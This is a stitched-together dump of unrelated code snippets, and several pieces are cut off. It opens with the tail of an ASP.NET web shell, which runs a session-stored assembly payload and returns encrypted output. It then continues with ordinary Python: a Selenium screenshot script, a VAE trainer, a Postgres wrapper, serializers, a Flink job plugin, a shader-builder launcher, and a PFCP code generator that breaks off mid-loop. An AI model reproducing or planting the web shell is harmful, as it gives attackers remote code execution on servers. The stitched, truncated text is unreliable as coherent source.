((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { } %>'''
python
from selenium import webdriver url = "http://www.aozora.gr.jp/cards/000081/files/46268_23911.html" # PhantomJSのドライバを得る --- (※1) browser = webdriver.PhantomJS() # 暗黙的な待機を最大3秒行う --- (※2) browser.implicitly_wait(3) # URLを読み込む --- (※3) browser.get(url) # 画面をキャプチャしてファイルに保存 --- (※4) browser.save_screenshot("website.png") # ブラウザを終了 --- (※5) browser.quit()
python
import numpy as np import tensorflow as tf import argparse import time import os import cPickle from mnist_data import * from model import VAE ''' vae implementation, alpha version, used with mnist LOADS of help was taken from: https://jmetzen.github.io/2015-11-27/vae.html ''' def main(): parser = argparse.ArgumentParser() parser.add_argument('--training_epochs', type=int, default=350, help='training epochs') parser.add_argument('--checkpoint_step', type=int, default=5, help='checkpoint step') parser.add_argument('--batch_size', type=int, default=500, help='batch size') parser.add_argument('--z_dim', type=int, default=8, help='z dim') parser.add_argument('--learning_rate', type=float, default=0.001, help='learning rate') parser.add_argument('--keep_prob', type=float, default=0.95, help='dropout keep probability') parser.add_argument('--diff_mode', type=int, default=0, help='experimental differentiation mode. 1 = true, 0 = false') parser.add_argument('--loss_mode', type=int, default=1, help='1 = l2 loss, 2 = bournoulli loss') args = parser.parse_args() return train(args) def train(args): learning_rate = args.learning_rate batch_size = args.batch_size training_epochs = args.training_epochs keep_prob = args.keep_prob checkpoint_step = args.checkpoint_step # save training results every check point step z_dim = args.z_dim # number of latent variables. loss_mode = args.loss_mode diff_mode = False if args.diff_mode == 1: diff_mode = True dirname = 'save' if not os.path.exists(dirname): os.makedirs(dirname) with open(os.path.join(dirname, 'config.pkl'), 'w') as f: cPickle.dump(args, f) vae = VAE(learning_rate=learning_rate, batch_size=batch_size, z_dim = z_dim, keep_prob = keep_prob, loss_mode = loss_mode) mnist = read_data_sets() n_samples = mnist.num_examples # load previously trained model if appilcable ckpt = tf.train.get_checkpoint_state(dirname) if ckpt: vae.load_model(dirname) # Training cycle for epoch in range(training_epochs): avg_cost = 0. avg_likelihood_loss = 0. avg_kl_loss = 0. mnist.shuffle_data() total_batch = int(n_samples / batch_size) # Loop over all batches for i in range(total_batch): batch_xs = mnist.next_batch(batch_size) if (diff_mode == True): batch_xs = mnist.integrate_batch(batch_xs) # Fit training using batch data cost, likelihood_loss, kl_loss = vae.partial_fit(batch_xs) # Compute average loss avg_cost += cost / n_samples * batch_size avg_likelihood_loss += likelihood_loss / n_samples * batch_size avg_likelihood_loss += kl_loss / n_samples * batch_size # Display logs per batch ''' print "batch:", '%04d' % (i+1), \ "total loss =", "{:.6f}".format(cost), \ "likelihood_loss =", "{:.6f}".format(likelihood_loss), \ "kl_loss =", "{:.6f}".format(kl_loss) ''' # Display logs per epoch step print "Epoch:", '%04d' % (epoch+1), \ "total loss =", "{:.6f}".format(avg_cost), \ "likelihood_loss =", "{:.6f}".format(avg_likelihood_loss), \ "kl_loss =", "{:.6f}".format(avg_kl_loss) # save model if epoch > 0 and epoch % checkpoint_step == 0: checkpoint_path = os.path.join('save', 'model.ckpt') vae.save_model(checkpoint_path, epoch) print "model saved to {}".format(checkpoint_path) # save model one last time, under zero label to denote finish. vae.save_model(checkpoint_path, 0) return vae if __name__ == '__main__': main()
python
from dataContainers import * import psycopg2 import psycopg2.extras import datetime import logging import pickle import copy _logger = logging.getLogger() class PostgresWrapper(): def __init__(self, connectionString): self.connection_string = connectionString def _query_wrapper(self, query, vars=[], doFetch=True, do_log=True): retry = True connection = None cursor = None while(retry): try: connection = psycopg2.connect(self.connection_string) cursor = connection.cursor(cursor_factory=psycopg2.extras.DictCursor) if do_log: _logger.info('making Query: ' + query) _logger.info('with vars: {}'.format(vars)) cursor.execute(query, vars) connection.commit() result = None if(doFetch): result = cursor.fetchall() cursor.close() connection.close() return result except psycopg2.InternalError as e: cursor.close() connection.close() if e.pgcode: _logger.error("psycopg2 error code: " + str(e.pgcode)) if not retry: raise e retry = False def get_active_commands(self, do_log=True): rawVals = self._query_wrapper("SELECT * FROM ottobot.commands WHERE active;", do_log=do_log) result = [] for raw in rawVals: result.append(Command(raw)) return result def get_recent_requests(self, user, when): rawVals = self._query_wrapper("SELECT * FROM ottobot.requests WHERE requestedby=%s AND requested >= timestamp %s;", [user, when]) result = [] for raw in rawVals: result.append(Request(raw)) return result def get_user_requests(self, user): rawVals = self._query_wrapper("SELECT * FROM ottobot.requests WHERE requestedby=%s;", [user]) result = [] for raw in rawVals: result.append(Request(raw)) return result def get_request(self, request_id): return Request(self._query_wrapper("SELECT * FROM ottobot.requests WHERE id=%s;", [request_id])[0]) def get_ready_pending_responses(self): #ignore logging on this one query because it happens every 15s rawVals = self._query_wrapper("SELECT * FROM ottobot.pendingresponses WHERE execute <= now();", do_log=False) result = [] for raw in rawVals: result.append(PendingResponse(raw)) return result def get_responses(self, commandID, do_log=True): rawVals = self._query_wrapper("SELECT * FROM ottobot.responses WHERE commandid=%s;", [commandID], do_log=do_log) result = [] for raw in rawVals: result.append(Response(raw)) return result def get_command_types(self, do_log=True): rawVals = self._query_wrapper("SELECT * FROM ottobot.commandtypes;", do_log=do_log) result = [] for raw in rawVals: result.append(CommandType(raw)) return result def insert_request(self, user, commandID): return self._query_wrapper("INSERT INTO ottobot.requests (requestedby, requested, commandid) values (%s, %s, %s) RETURNING id;", [user, datetime.datetime.now(), commandID])[0][0] def insert_pending_response(self, requestID, lastResponse, when, message): message = copy.deepcopy(message) message = pickle.dumps(message) return self._query_wrapper("INSERT INTO ottobot.pendingresponses (requestid, nextresponse, execute, stored, message) values(%s, %s, %s, now(), %s) RETURNING id;", [requestID, lastResponse, when, message])[0][0] def insert_response(self, text, function, previous, commandID): result = self._query_wrapper("INSERT INTO ottobot.responses (text, functionname, next, previous, commandid) values (%s, %s, NULL, %s, %s) RETURNING id;", [text, function, previous, commandID])[0][0] self._query_wrapper("UPDATE ottobot.responses SET next=%s where commandid=%s and next IS NULL and id!=%s;", [result, commandID, result], doFetch=False) return result def insert_command(self, text, removable, caseSensitive, commandTypeID): return self._query_wrapper("INSERT INTO ottobot.commands (text, removable, casesensitive, active, commandtypeid) values (%s, %s, %s, TRUE, %s) RETURNING id;", [text, removable, caseSensitive, commandTypeID])[0][0] def deactivate_command(self, commandID): self._query_wrapper("UPDATE ottobot.commands SET active=FALSE WHERE id=%s;", [commandID], doFetch=False) def delete_response(self, responseID, next, previous): self._query_wrapper("UPDATE ottobot.responses SET next=%s WHERE next=%s;", [next, responseID], doFetch=False) self._query_wrapper("UPDATE ottobot.responses SET previous=%s WHERE previous=%s;", [previous, responseID], doFetch=False) self._query_wrapper("DELETE FROM ottobot.responses WHERE id=%s;", [responseID], doFetch=False) def delete_pending_response(self, pendingResponseID): self._query_wrapper("DELETE FROM ottobot.pendingresponses WHERE id=%s;", [pendingResponseID], doFetch=False)
python
import six from .base import BasketSerializer from data_basket.exceptions import * __all__ = [ 'IntSerializer', 'FloatSerializer', 'ComplexSerializer', 'StrSerializer', 'NoneSerializer', 'ListSerializer', 'TupleSerializer', 'DictSerializer', 'BUILTIN_SERIALIZERS' ] class IntSerializer(BasketSerializer): type_name = 'int' type_class = int inline = True def dump(self, dest=None, basket=None): return self.obj class FloatSerializer(BasketSerializer): type_name = 'float' type_class = float inline = True def dump(self, dest=None, basket=None): return self.obj class ComplexSerializer(BasketSerializer): type_name = 'complex' type_class = complex inline = True class StrSerializer(BasketSerializer): type_name = 'str' type_class = six.string_types inline = True def dump(self, dest=None, basket=None): # TODO: PY2, PY3 compatible return self.obj def load(self, src, basket=None): # TODO: PY2, PY3 compatible self.obj = src return self.obj class NoneSerializer(BasketSerializer): type_name = 'None' type_class = type(None) inline = True def check_type(self): return self.obj is None def dump(self, dest=None, basket=None): return self.obj def load(self, src, basket=None): return None class ListSerializer(BasketSerializer): type_name = 'list' type_class = list inline = True def dump(self, dest=None, basket=None): if basket: res = [basket._dump_obj(item) for item in self.obj] else: res = [dump_builtin_obj(item) for item in self.obj] return res def load(self, src, basket=None): if basket: self.obj = [basket._load_obj(d) for d in src] else: self.obj = [load_builtin_obj(d) for d in src] return self.obj class TupleSerializer(ListSerializer): type_name = 'tuple' type_class = tuple def load(self, src, basket=None): if basket: self.obj = tuple([basket._load_obj(d) for d in src]) else: self.obj = tuple([load_builtin_obj(d) for d in src]) return self.obj class DictSerializer(BasketSerializer): type_name = 'dict' type_class = dict inline = True def dump(self, dest=None, basket=None): if basket: res = {k: basket._dump_obj(v) for (k, v) in six.iteritems(self.obj)} else: res = {k: dump_builtin_obj(v) for (k, v) in six.iteritems(self.obj)} return res def load(self, src, basket=None): if basket: self.obj = {k: basket._load_obj(v) for (k, v) in six.iteritems(src)} else: self.obj = {k: load_builtin_obj(v) for (k, v) in six.iteritems(src)} return self.obj BUILTIN_SERIALIZERS = [IntSerializer, FloatSerializer, ComplexSerializer, StrSerializer, NoneSerializer, ListSerializer, TupleSerializer, DictSerializer] # offline version, to make compound type such as list/dict work without basket. BUILTIN_SERIALIZER_DICT = {s.type_name: s for s in BUILTIN_SERIALIZERS} def dump_builtin_obj(obj): type_name = type(obj).__name__ s = BUILTIN_SERIALIZER_DICT.get(type_name) if s: return {"type": s.type_name, "inline": True, "value": s(obj).dump()} else: raise CannotDumpBasketData(obj) def load_builtin_obj(d): s = BUILTIN_SERIALIZER_DICT.get(d['type']) if s: return s().load(d['value']) else: raise CannotLoadBasketData(d)
python
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import json import re from subprocess import Popen, PIPE from typing import Text, List from ai_flow.plugin_interface.job_plugin_interface import JobController from ai_flow.translator.translator import JobGenerator from ai_flow_plugins.job_plugins.read_only import ReadOnlyJobController, ReadOnlyJob, ReadOnlyJobGenerator, \ ReadOnlyJobPluginFactory class ReadOnlyFlinkJobController(ReadOnlyJobController): def get_job_label(self, job: ReadOnlyJob) -> Text: job_id = job.job_config.properties.get('job_id') args = job.job_config.properties.get('args', []) output = self._list_flink_job_status(args) return self._get_job_label(output, job_id) @staticmethod def _list_flink_job_status(args: List[Text]): bash_command = ['flink', 'list', '-a'] + args process = Popen(args=bash_command, stdout=PIPE, stderr=PIPE) output = process.stdout.read().decode('utf-8') return output @staticmethod def _get_job_label(output, job_id): m = re.search(r"(?P<start_time>.+) : {} : (?P<job_name>.*) \((?P<status>.*)\)".format(job_id), output) if m is None: return "" return json.dumps(m.groupdict()) class ReadOnlyFlinkJobPluginFactory(ReadOnlyJobPluginFactory): def job_type(self) -> Text: return "read_only_flink" def get_job_generator(self) -> JobGenerator: return ReadOnlyJobGenerator(required_properties={'job_id'}) def get_job_controller(self) -> JobController: return ReadOnlyFlinkJobController()
python
from ursina import * from shader_builder_manager import ShaderBuilderManager from panda3d.core import loadPrcFileData import json # default config info config = { 'AntiAliasing' : 1, 'Line Quality' : 26, 'Start Fullscreen' : 0 } #loading config try: with open('config.json', 'r') as f: config.update(json.load(f)) with open('config.json', 'w') as f: json.dump(config, f) # update any missing information except FileNotFoundError: with open('config.json', 'w') as f: json.dump(config, f) except json.JSONDecodeError: with open('config.json', 'w') as f: json.dump(config, f) # - - - setting config info - - - if config['AntiAliasing'] == 1: loadPrcFileData('', 'framebuffer-multisample 1') loadPrcFileData('', 'multisamples 2') from instanced_curve import InstancedCurve InstancedCurve.line_quality = config['Line Quality'] window.title = 'Ursina Shader Builder' app = Ursina(borderless = False, fullscreen = config['Start Fullscreen'] == 1) camera.ui_render.set_depth_test(1) camera.ui_render.set_depth_write(1) # turns out for instanced rendering, depth writing/testing is important sbm = ShaderBuilderManager() app.run()
python
#!/usr/bin/env python3 # Please save the doc as docx before delete useless table. # Check all of table are complete. There are problems if rows are not align in table. # All tables are saved in variable "tables" using structure "list". # Rows for each table use structure "dict" and save in variable "tables[index]". import os, re from docx import Document ieNameMapping = { 'PFD': 'PFDContext', 'PDRID': 'PacketDetectionRuleID', 'SxSRRspFlags': 'PFCPSRRspFlags' } def snack2CamalCast(name): return ''.join(x.title() for x in name.lower().split('_')) def large2smallCamalCast(name): return name[0].lower() + name[1:] def formatString(inputStr : str) -> str : inputStr = re.sub(r"['/\"]", '', inputStr) outputStrList = [s[0].upper() + s[1:] for s in re.sub(r'[-() ]+', ' ', inputStr).split()] return ''.join(outputStrList) def snackCase(inputStr: str) -> str: s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', inputStr) return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).upper().replace(" ", "") class FileOutput() : def __init__(self, fileName : str) : self.fd = open(fileName, 'w') self.tab, self.tabstop = 0, 4 def indent(self, num : int) : self.tab += num self.tab = 0 if self.tab < 0 else self.tab def indented(self, contentList : list) : self.indent(+1) for content in contentList : self.fprint(content) self.indent(-1) def fprint(self, content : str) : print(' ' * self.tabstop * self.tab, content, sep='', file=self.fd) class TableParser() : def __init__(self, fileName : str) : self.document = Document(fileName) self.tables = [] self.parse() def parse(self) : for idx, table in enumerate(self.document.tables) : gotTitle, titlePointer = 0, None for row in table.rows : try : if 'Information elements'.lower() in [cell.text.lower() for cell in row.cells] : if gotTitle == 0 : self.tables.append(list()) titlePointer, gotTitle = row, 1 elif gotTitle == 1 : content, isNote = dict(), 0 for title, context in zip(self.yieldTitleFromDocx(titlePointer), row.cells) : if context._tc.right - context._tc.left >= 8 : isNote = 1 break content[title] = context.text if isNote == 0 : self.tables[-1].append(content) except : print(f'[Error] The {idx} table is dirty') break def yieldTitleFromDocx(self, tableRowPtr) : for cell in tableRowPtr.cells : yield cell.text def printTableByIndex(self, idxOfTable) : try : for content in self.tables[idxOfTable] : print(content) except : print('[Warning] Index out of bound') if __name__ == '__main__' : doc29244_812_1 = TableParser('29244-f30-ch8.1.2-1.docx') ie_type_value = dict() for row in doc29244_812_1.tables[0][:-1]: ieName = formatString(row['Information elements']) if ieName == 'UpdateBARSessionModificationRequest': ieName = 'UpdateBARPFCPSessionModificationRequest' ieVal = row['IE Type value\n(Decimal)'] if ie_type_value.get(ieName) == None: ie_type_value[ieName] = int(ieVal) else : print(f'[Warning] {ieName} is duplicate') specialCase = set() specialCase.update(['UpdateBAR', 'UsageReport']) # There have 67 table in chapter 7, but the first one will not be used docxChapter7Name = '29244-f30-ch7-fixed-table.docx' doc29244_7_para = Document(docxChapter7Name) # tableName = re.compile(r'Table 7.*: (Information Elements in [an ]{0,3})?(.+(?= IE within ))?(.+)') tableName = re.compile(r'Table 7.*: (Information Elements in [an ]{0,3}|(.+)( IE within ))?(.+)') chapter7TitleList = [] for line in doc29244_7_para.paragraphs : afterMatch = tableName.match(line.text) if afterMatch : ieName = afterMatch.group(2) if afterMatch.group(2) else afterMatch.group(4) if formatString(ieName) in specialCase : ieName += afterMatch.group(4) chapter7TitleList.append(ieName) # print(afterMatch.group(2)) if afterMatch.group(2) else print(afterMatch.group(3)) doc29244_7 = TableParser(docxChapter7Name) chapter7UsedIESet = set() for tableName in chapter7TitleList[1:] : tableName = formatString(tableName) ieIn = re.compile("^.*IEIn.*") if tableName == "UpdateBARIEInPFCPSessionReportResponse": tableName = "UpdateBARPFCPSessionReportResponse" elif ieIn.match(tableName): #print("============", tableName, tableName[:tableName.find("IEIn")]) tableName = tableName[:tableName.find("IEIn")] elif tableName == 'RemoveQERIEPFCPSessionModificationRequest': tableName = tableName[:tableName.find("IE")] chapter7UsedIESet.add(tableName) PFCPMessageHeaderFd = FileOutput('pfcp_message.h') PFCPMessageHeaderFd.fprint('''#ifndef __PFCP_MESSAGE_H__ #define __PFCP_MESSAGE_H__ #include <stdint.h> #include "utlt_debug.h" #include "utlt_lib.h" #include "utlt_buff.h" #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ typedef struct _TlvOctet { unsigned long presence; uint16_t type; uint16_t len; void *value; } __attribute__((packed)) TlvOctet; typedef struct _IeDescription { uint16_t msgType; uint16_t msgLen; // msg struct size _Bool isTlvObj; int numToParse; int next[35]; } __attribute__((packed)) IeDescription; /* 5.1 General format */ #define PFCP_HEADER_LEN 16 #define PFCP_SEID_LEN 8 typedef struct _PfcpHeader { union { struct { ENDIAN4(uint8_t version:3;, uint8_t spare0:3;, uint8_t mp:1;, uint8_t seidP:1;) }; uint8_t flags; }; uint8_t type; uint16_t length; union { struct { uint64_t seid; #define PfcpTransactionId2Sqn(__transactionId) htonl(((__transactionId) << 8)) #define PfcpSqn2TransactionId(__sqn) (ntohl(__sqn) >> 8) uint32_t sqn; }; uint32_t sqn_only; }; } __attribute__ ((packed)) PfcpHeader; ''') definedList = [] ieDesTable = [] for ieName, ieVal in ie_type_value.items(): ieDesTable.append([ieVal, f'sizeof({ieName})', 1, 0, []]) # set default as TlvOctet struct table = doc29244_7_para.tables[0] ieTable = table for i, row in enumerate(table.rows): if (i == 0 or i == 1): continue if row.cells[0].paragraphs[0].text.isdigit(): PFCPMessageHeaderFd.fprint('#define ' + snackCase(row.cells[1].paragraphs[0].text) + \ ' ' + row.cells[0].paragraphs[0].text) PFCPMessageHeaderFd.fprint('') for key in ie_type_value: ieName, ieValue = key, ie_type_value[key] PFCPMessageHeaderFd.fprint(f'#define PFCP_{ieName}_TYPE {ieValue}') PFCPMessageHeaderFd.fprint('') for ieName, ieVal in ie_type_value.items(): if ieName not in chapter7UsedIESet: PFCPMessageHeaderFd.fprint(f'typedef TlvOctet {ieName};') definedList.append(ieName) #ieDesTable.append([ie_type_value[ieName], f'sizeof({ieName})', 1, 0, []]) PFCPMessageHeaderFd.fprint('') ieTypeNotDefinedList = [] for tableName, table in zip(chapter7TitleList[1:], doc29244_7.tables) : tableName = formatString(tableName) ieIn = re.compile("^.*IEIn.*") if tableName == "UpdateBARIEInPFCPSessionReportResponse": tableName = "UpdateBARPFCPSessionReportResponse" elif tableName == "UserPlanePathFailure": tableName = "UserPlanePathFailureReport" elif tableName == "PFD": tableName = "PFDContext" elif ieIn.match(tableName): #print("============", tableName, tableName[:tableName.find("IEIn")]) tableName = tableName[:tableName.find("IEIn")] elif tableName == 'RemoveQERIEPFCPSessionModificationRequest': tableName = tableName[:tableName.find("IE")] ieTypeNotDefined = False # check if exist not defined ie for ie in table : try : ieName = large2smallCamalCast(formatString(ie['Information elements'])) except : ieName = 'NoIEName' print(f'[warning] No IE name in {tableName}') try : ieType = formatString(ie['IE Type']) except: print('NoIEType') if ieType not in definedList: ieTypeNotDefined = True break if ieTypeNotDefined: tmpTuple = [tableName, []] for ie in table: try: ieName = large2smallCamalCast(formatString(ie['Information elements'])) except: print(f'No IE name in {tableName}') continue try: ieType = formatString(ie['IE Type']) except: print('No IE type') try: if ieNameMapping.get(ieType): ieType = ieNameMapping[ieType] elif ieType in specialCase: ieType+= tableName except: print("???") tmpTuple[1].append((ieType, ieName)) ieTypeNotDefinedList.append(tmpTuple) else: definedList.append(tableName) PFCPMessageHeaderFd.fprint(f'typedef struct _{tableName} ' +'{') PFCPMessageHeaderFd.indent(+1) PFCPMessageHeaderFd.fprint('unsigned long presence;') ieNum = 0 ieList = [] for ie in table: try : ieName = large2smallCamalCast(formatString(ie['Information elements'])) except : ieName = 'NoIEName' print(f'[warning] No IE name in {tableName}') try : ieType = formatString(ie['IE Type']) except : ieType = 'NoIEType' print(f'[warning] No IE {ieName} type in {tableName}') try : if ieNameMapping.get(ieType) : ieType = ieNameMapping[ieType] elif ieType in specialCase: ieType += tableName except : print('[warning] Cannot get ieType from ieNameMapping:', ieType) if ie_type_value.get(ieType) != None: ieList.append(ie_type_value.get(ieType)) ieNum += 1 else: print("IE value cannot find:", ieType, ieName, tableName) PFCPMessageHeaderFd.fprint(f'{ieType} {ieName};') if ie_type_value.get(tableName) != None: ieDesTable[ie_type_value.get(tableName)] = [ie_type_value.get(tableName), f'sizeof({tableName})', 0, ieNum, ieList] else: print(tableName, "not ie") ieDesTable.append( [0, f'sizeof({tableName})', 0, ieNum, ieList]) PFCPMessageHeaderFd.indent(-1) PFCPMessageHeaderFd.fprint( '} __attribute__((packed)) ' + f'{tableName};\n') for table in ieTypeNotDefinedList: tableName = table[0] ieTypeNotDefined = False for ie in table[1]: ieType = ie[0] if ieType not in definedList: ieTypeNotDefined = True break if ieTypeNotDefined: ieTypeNotDefinedList.append(table) else: definedList.append(tableName) PFCPMessageHeaderFd.fprint(f'typedef struct _{tableName} ' +'{') PFCPMessageHeaderFd.indent(+1) PFCPMessageHeaderFd.fprint('unsigned long presence;') ieNum = 0 ieList = [] for ie in table[1]: ieType = ie[0] ieName = ie[1] #ieNum += 1 #ieList.append(definedList.index(ieType)) if ie_type_value.get(ieType) != None: ieList.append(ie_type_value.get(ieType)) ieNum += 1 else: print("IE value cannot find:", ieType) PFCPMessageHeaderFd.fprint(f'{ieType} {ieName};') if ie_type_value.get(tableName) != None: ieDesTable[ie_type_value.get(tableName)] = [ie_type_value.get(tableName), f'sizeof({tableName})', 0, ieNum, ieList] #ieDesTable.append([ie_type_value[tableName], f'sizeof({tableName})', 0, ieNum, ieList]) else: print(tableName, "not ie") ieDesTable.append([0, f'sizeof({tableName})', 0, ieNum, ieList]) PFCPMessageHeaderFd.indent(-1) PFCPMessageHeaderFd.fprint( '} __attribute__((packed)) ' + f'{tableName};\n') # PfcpMessage type PFCPMessageHeaderFd.fprint("") PFCPMessageHeaderFd.fprint("typedef struct _PfcpMessage {") PFCPMessageHeaderFd.indent(+1) PFCPMessageHeaderFd.fprint("PfcpHeader header;") PFCPMessageHeaderFd.fprint("union {") PFCPMessageHeaderFd.indent(+1) for i, row in enumerate(ieTable.rows): if (i == 0 or i == 1 or i == 2): continue if row.cells[0].paragraphs[0].text.isdigit(): msg = snackCase(row.cells[1].paragraphs[0].text) if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE": continue elif msg[:7] == "PFCPPFD": PFCPMessageHeaderFd.fprint(f'{"PFCPPFD"+snack2CamalCast(msg[8:])} {large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))};') elif msg[5:10] == "HEART": PFCPMessageHeaderFd.fprint(f'{snack2CamalCast(msg[5:])} {large2smallCamalCast(snack2CamalCast(msg[5:]))};') else: PFCPMessageHeaderFd.fprint(f'{"PFCP"+snack2CamalCast(msg[5:])} {large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))};') PFCPMessageHeaderFd.indent(-1) PFCPMessageHeaderFd.fprint("};") PFCPMessageHeaderFd.indent(-1) PFCPMessageHeaderFd.fprint("} PfcpMessage;") # encode & decode function declear PFCPMessageHeaderFd.fprint("") PFCPMessageHeaderFd.fprint("Status PfcpParseMessage(PfcpMessage *pfcpMessage, Bufblk *buf);") PFCPMessageHeaderFd.fprint("") PFCPMessageHeaderFd.fprint("Status PfcpBuildMessage(Bufblk **bufBlkPtr, PfcpMessage *pfcpMessage);") PFCPMessageHeaderFd.fprint(""" #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __PFCP_MESSAGE_H__ */ """) PFCPMessageSourceFd = FileOutput('pfcp_message.c') PFCPMessageSourceFd.fprint('''#define TRACE_MODULE _pfcp_message #include <endian.h> #include <string.h> #include <netinet/in.h> #include "utlt_debug.h" #include "utlt_buff.h" #include "pfcp_message.h" ''') PFCPMessageSourceFd.fprint( "static IeDescription ieDescriptionTable[] = {\\") for ieDes in ieDesTable: tmpStr = '{' idx = 0 for idx, ie in enumerate(ieDes[4]): if idx != 0: tmpStr += ', ' tmpStr += str(ie) idx += 1 while idx < 35: if idx != 0: tmpStr += ', 0' else: tmpStr += '0' idx += 1 tmpStr += '}' PFCPMessageSourceFd.fprint( '{' + f'{ieDes[0]}, {ieDes[1]}, {ieDes[2]}, {ieDes[3]}, {tmpStr}' + '}, \\') PFCPMessageSourceFd.fprint("};") PFCPMessageSourceFd.fprint(''' _Bool dbf = 0; int _TlvParseMessage(void * msg, IeDescription * msgDes, void * buff, int buffLen) { int msgPivot = 0; // msg (struct) offset //void *root = buff; int buffOffset = 0; // buff offset int idx; for (idx = 0; idx < msgDes->numToParse; ++idx) { if (dbf) { if (ieDescriptionTable[msgDes->next[idx]].msgType == 57) { UTLT_Warning("Get F-SEID"); } } IeDescription *ieDes = &ieDescriptionTable[msgDes->next[idx]]; uint16_t type; uint16_t length; memcpy(&type, buff + buffOffset, sizeof(uint16_t)); memcpy(&length, buff + buffOffset + sizeof(uint16_t), sizeof(uint16_t)); //type = (type>>8) + ((type&0xff)<<8); //length = (length>>8) + ((length&0xff)<<8); type = ntohs(type); length = ntohs(length); if (dbf) { UTLT_Info("type: %d, len: %d", type, length); } if (type != ieDes->msgType) { if (dbf) { UTLT_Warning("%d not present, type: %d", ieDes->msgType, type); } // not present (*(unsigned long*)(msg + msgPivot)) = 0; // presence msgPivot += ieDes->msgLen; continue; } if (ieDes->isTlvObj) { if (dbf) { UTLT_Info("is TLV: %p", msg+msgPivot); } ((TlvOctet*)(msg+msgPivot))->presence = 1; ((TlvOctet*)(msg+msgPivot))->type = type; Bufblk *newBuf = BufblkAlloc(1, length); memcpy(newBuf->buf, buff + buffOffset + 2*sizeof(uint16_t), length); newBuf->len = length; ((TlvOctet*)(msg+msgPivot))->len = length; ((TlvOctet*)(msg+msgPivot))->value = newBuf->buf; buffOffset += sizeof(uint16_t)*2 + length; msgPivot += sizeof(TlvOctet); continue; } else { if (dbf) { UTLT_Info("not Tlv, desTB mstype: %d", ieDes->msgType); } // recursive *((unsigned long*)(msg+msgPivot)) = 1; // presence _TlvParseMessage(msg+msgPivot+sizeof(unsigned long), ieDes, buff + buffOffset + sizeof(uint16_t)*2, buffLen - buffOffset); //int size = _TlvParseMessage(msg+msgPivot, ieDes, buff + buffOffset, buffLen - buffOffset); buffOffset += length + sizeof(uint16_t)*2; msgPivot += ieDes->msgLen; } } return buffOffset; } Status PfcpParseMessage(PfcpMessage *pfcpMessage, Bufblk *bufBlk) { Status status = STATUS_OK; PfcpHeader *header = NULL; uint16_t size = 0; UTLT_Assert(pfcpMessage, return STATUS_ERROR, "Message error"); UTLT_Assert(bufBlk, return STATUS_ERROR, "buffer error"); UTLT_Assert(bufBlk->buf, return STATUS_ERROR, "buffer payload error"); header = bufBlk->buf; UTLT_Assert(header, return STATUS_ERROR, "header hasn't get pointer"); memset(pfcpMessage, 0, sizeof(PfcpMessage)); // clear pfcpMessage if (header->seidP) { size = PFCP_HEADER_LEN; } else { size = PFCP_HEADER_LEN - PFCP_SEID_LEN; } bufBlk->buf += size; bufBlk->len -= size; bufBlk->size -= size; memcpy(&pfcpMessage->header, bufBlk->buf - size, size); if (header->seidP) { pfcpMessage->header.seid = be64toh(pfcpMessage->header.seid); } else { // not sure what is this for pfcpMessage->header.sqn = pfcpMessage->header.sqn_only; pfcpMessage->header.sqn_only = pfcpMessage->header.sqn_only; } if (bufBlk->len == 0) { return STATUS_OK; } switch(pfcpMessage->header.type) {''') PFCPMessageSourceFd.indent(+2) for i, row in enumerate(ieTable.rows): if (i == 0 or i == 1 or i == 2): continue if row.cells[0].paragraphs[0].text.isdigit(): msg = snackCase(row.cells[1].paragraphs[0].text) if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) elif msg[:7] == "PFCPPFD": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))}.presence = 1;') PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))} + 1, &ieDescriptionTable[{msg} + 155], bufBlk->buf, bufBlk->len);') elif msg[5:10] == "HEART": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))}.presence = 1;') PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155], bufBlk->buf, bufBlk->len);') elif re.match("^PFCP_SESSION.*", msg) and not re.match("^PFCP_SESSION_SET.*", msg): PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}.presence = 1;') PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155 - (50-15) - 1], bufBlk->buf, bufBlk->len);') else: PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) 